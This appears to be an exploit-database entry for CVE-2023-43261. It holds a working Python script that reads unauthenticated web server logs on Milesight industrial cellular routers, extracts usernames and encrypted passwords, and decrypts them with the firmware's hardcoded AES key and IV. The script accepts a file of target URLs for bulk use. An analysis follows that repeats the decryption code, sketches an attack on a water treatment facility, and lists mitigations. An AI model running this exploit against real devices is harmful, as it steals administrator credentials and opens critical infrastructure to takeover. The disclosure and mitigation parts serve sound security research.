Milesight Routers UR5X, UR32L, UR32, UR35, UR41 - Credential Leakage Through Unprotected System Logs and Weak Password Encryption

Exploit Author: Bipin Jitiya Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2024-02-05
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption
CVE: CVE-2023-43261
Script Author: Bipin Jitiya (@win3zz)
Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)
Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.
Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10
Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
"""

import sys
import requests
import re
import warnings
from Crypto.Cipher import AES # pip install pycryptodome
from Crypto.Util.Padding import unpad
import base64
import time

warnings.filterwarnings("ignore")

KEY = b'1111111111111111'
IV = b'2222222222222222'

def decrypt_password(password):
    try:
        return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8')
    except ValueError as e:
        display_output('      [-] Error occurred during password decryption: ' + str(e), 'red')

def display_output(message, color):
    colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'}
    print(f"{colors[color]}{message}{colors['end']}")
    time.sleep(0.5)

urls = []

if len(sys.argv) == 2:
    urls.append(sys.argv[1])

if len(sys.argv) == 3 and sys.argv[1] == '-f':
    with open(sys.argv[2], 'r') as file:
        urls.extend(file.read().splitlines())

if len(urls) == 0:
    display_output('Please provide a URL or a file with a list of URLs.', 'red')
    display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue')
    display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue')
    sys.exit()

use_proxy = False
proxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else None

for url in urls:
    display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue')
    response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False)

    if response.status_code == 200:
        display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green')
        data = response.text
        credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data))

        num_credentials = len(credentials)
        display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green')

        if num_credentials > 0:
            display_output('[+] Login page: ' + url + '/login.html', 'green')
            display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue')
            display_output('[+] Unique Credentials:', 'yellow')
            for i, (username, password) in enumerate(credentials, start=1):
                display_output(f'    Credential {i}:', 'cyan')
                decrypted_password = decrypt_password(password.encode('utf-8'))
                display_output(f'      - Username: {username}', 'green')
                display_output(f'      - Password: {decrypted_password}', 'green')
        else:
            display_output('[-] No credentials found in the retrieved data for: ' + url, 'red')
    else:
        display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')


Credential Leakage Through Unprotected System Logs and Weak Password Encryption in Milesight Industrial Routers

Industrial cellular routers are the backbone of modern IoT infrastructure, enabling remote connectivity for critical systems such as smart grids, industrial automation, and remote monitoring. However, recent vulnerabilities in Milesight routers—specifically the UR5X, UR32L, UR32, UR35, and UR41 models—have exposed a dangerous flaw: credential leakage through unprotected system logs and weak password encryption. This vulnerability, identified as CVE-2023-43261, underscores how even minor design oversights can lead to full system compromise.

Exploitation Mechanism: Accessing Unprotected Log Files

At the heart of this vulnerability lies an exposed /lang/log/httpd.log endpoint. This file, intended for debugging and system monitoring, is accessible without authentication on many deployed devices. Attackers can simply send an HTTP GET request to:

GET /lang/log/httpd.log

When successful, the response contains raw logs from the router’s web server, including user login attempts. These logs are formatted in JSON-like strings, often containing sensitive fields such as:

  • username: The user’s login identifier
  • password: The encrypted password stored in the system

For example, a typical log entry might look like:

"username":"admin","password":"aGVsbG8="

While the password appears encrypted, it is not protected by strong cryptographic standards—instead, it uses a weak AES-CBC encryption with a hardcoded key and IV, which can be easily reversed.

Weak Encryption: The Decryption Key Revealed

The vulnerability is compounded by the use of a predictable encryption method:

KEY = b'1111111111111111'
IV = b'2222222222222222'

These constants are hardcoded in the firmware and are known to attackers through reverse engineering or public disclosures. This makes the encryption trivial to break, even without access to the device’s source code.

Using the pycryptodome library, an attacker can decrypt the password using a simple Python script:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

KEY = b'1111111111111111'
IV = b'2222222222222222'

def decrypt_password(password):
    try:
        decrypted = unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size)
        return decrypted.decode('utf-8')
    except ValueError:
        return None

This script takes a base64-encoded password string, decrypts it using the known key and IV, and returns the original plaintext password.

Real-World Impact: Full Access to Critical Infrastructure

Consider a scenario where a Milesight UR32L router is deployed in a remote water treatment facility. The device logs every login attempt, and an attacker discovers the /lang/log/httpd.log endpoint through a simple reconnaissance scan.

After retrieving the log file, the attacker extracts credentials:

username: admin
password: aGVsbG8=

Using the decryption script, the attacker reveals:

Decrypted password: hello

With this information, the attacker gains full administrative access to the router’s web interface, allowing them to:

  • Modify network configurations
  • Redirect traffic through malicious proxies
  • Disable security features
  • Deploy malware or backdoors

Once inside, the attacker can pivot to other devices on the same network, potentially compromising entire industrial systems.

Why This Vulnerability Is Dangerous

Several factors make CVE-2023-43261 particularly concerning:

Factor Description
Default Credentials Many routers ship with default credentials like admin:admin or admin:hello. These are often logged in the system logs.
Hardcoded Keys Using static encryption keys violates fundamental security principles. Keys should be generated per device or user.
Unprotected Endpoints Log files are not meant to be public. Their exposure is a direct violation of security-by-design.
Mass Deployment Milesight routers are widely used in industrial settings. A single exploit can affect hundreds of devices.

Security Recommendations and Fixes

To mitigate this vulnerability, vendors and users must take proactive steps:

  • Disable or restrict access to /lang/log/httpd.log via firewall rules or access control lists.
  • Use dynamic encryption keys instead of hardcoded constants. Implement proper key management and encryption standards (e.g., AES-GCM).
  • Sanitize log files by removing sensitive data before logging. Use redaction or anonymization techniques.
  • Implement rate limiting and authentication for log access endpoints.
  • Update firmware regularly and apply security patches promptly.

For users, conducting regular network scans using tools like Shodan or FOFA can help identify exposed devices. Once discovered, administrators should:

  • Change default passwords immediately
  • Disable unnecessary services
  • Enable HTTPS and secure authentication

Conclusion: A Wake-Up Call for Industrial IoT Security

CVE-2023-43261 serves as a stark reminder that security in industrial IoT devices cannot be assumed. Even devices designed for robustness and reliability can harbor critical flaws due to poor design choices. The combination of unprotected log files and weak encryption demonstrates how a single oversight can lead to total system compromise.

As the industrial landscape grows more connected, developers and operators must prioritize security at every layer—from firmware design to deployment practices. The Milesight router vulnerability is not an isolated case; it is a pattern repeated across many IoT devices. Proactive monitoring, encryption best practices, and defense-in-depth strategies are no longer optional—they are essential.